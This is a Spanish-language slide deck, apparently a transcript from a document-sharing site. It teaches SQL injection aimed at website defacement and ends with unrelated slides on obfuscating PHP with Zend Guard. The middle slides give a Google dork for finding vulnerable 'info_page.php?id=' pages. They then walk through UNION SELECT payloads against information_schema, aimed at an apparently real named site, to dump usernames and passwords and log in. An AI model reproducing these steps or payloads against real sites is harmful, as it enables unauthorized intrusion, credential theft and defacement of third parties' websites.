sql injection

18
SQL Inject ion

Upload: minoxx

Post on 03-Dec-2014

1.293 views

Category:

Documents


0 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Sql injection

SQL Injection

Page 2: Sql injection

¿Que es SQL Injection?Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.

Page 3: Sql injection

¿Que es Deface?

El Deface / Defacing / Defacement es la modificación de una página web sin autorización del dueño de la misma.

La mayoria de las veces logran defacear un sitio consiguiendo acceso mediante alguna vulnerabilidad que el programador haya dejado en el mismo.También por passwords debiles, problemas en el FTP, etc.

Page 4: Sql injection

Pasos: Buscando website vulnerable.

Bueno, ahora vamos a buscar una website vulnerable, para saber si es vulnerable a sql injection, en la url tiene que haber algo como; ?id=NUMERO o algo parecido, siempre tiene que haber un "="

Para eso buscamos en el explorador: allinurl: "info_page.php?id=*“ para encontrar las websites que tiene esa falla.

Page 5: Sql injection
Page 6: Sql injection
Page 7: Sql injection
Page 8: Sql injection
Page 9: Sql injection

se agrega "+from+information_schema.tables--" y se sustituye un valor de los arrojados por table_name

Page 10: Sql injection

se quita el - - y se agrega "+limit+1,1--"

Page 11: Sql injection

jugando con los numeros “2,1”, ”3,1”,etc para obtener nombres de tablas

Page 12: Sql injection

Hasta que encontramos la tabla que contiene el “nombre de usuario”!!

Page 13: Sql injection

Ahora ya tenemos la tabla: USER_PRIVILEGES lo que haremos ahora es lo siguiente:

Borramos information_schema.tables+limit+15,1-- y agregamos lo sig:

http://www.mytimeinc.org/info_page.php?id=-1+union+all+select+0,”name”,2,3,4+from+USER_PRIVILEGESAVISO: No siempre es nombre, aveces si no

funciona tienes que poner, admin,login,root,adm,administrador,etc.

Page 14: Sql injection
Page 15: Sql injection

Ahora como ya sabes el username, borramos lo que hay entre el 0 y el 2. Y ponemos para obtener la clave:

concat(nombre,0x3a3a,pass).

http://www.mytimeinc.org/info_page.php?id=-1+union+all+select+concat(nombre,0x3a3a,pass),”name”, concat(nombre,0x3a3a,pass),3,4+from+USER_PRIVILEGES

Si no te funciona, cambia donde pone pass [concat(nombre,0x3a3a,pass) por clave,password,contraseña.

Page 16: Sql injection

OBTENIENDO LA CLAVE!! YA PODEMOS LOGEARNOS

Page 17: Sql injection

OFUSCAR CODIGO EN PHP:

Cuando el desarrollador sustenta su economía a través de la venta de sus productos -diseñados por él o por su empresa-,

el que el cliente disponga del código y pueda ofrecerlo a terceros puede ocasionar, entre otras, un aumento del precio final del producto, para evitar los denominados daños colaterales.

Page 18: Sql injection

¿Cómo evitar esto?La respuesta está en ofuscar el

código PHP. A través de la ofuscación del código PHP, el cliente podrá disponer siempre de la aplicación a un precio inferior y el desarrollador estará libre de pesadillas.

En el mercado existen varias alternativas para ofuscar código PHP. Una de ellas, y la que más me convence, viene de la mano de ZEND, ZEND GUARD.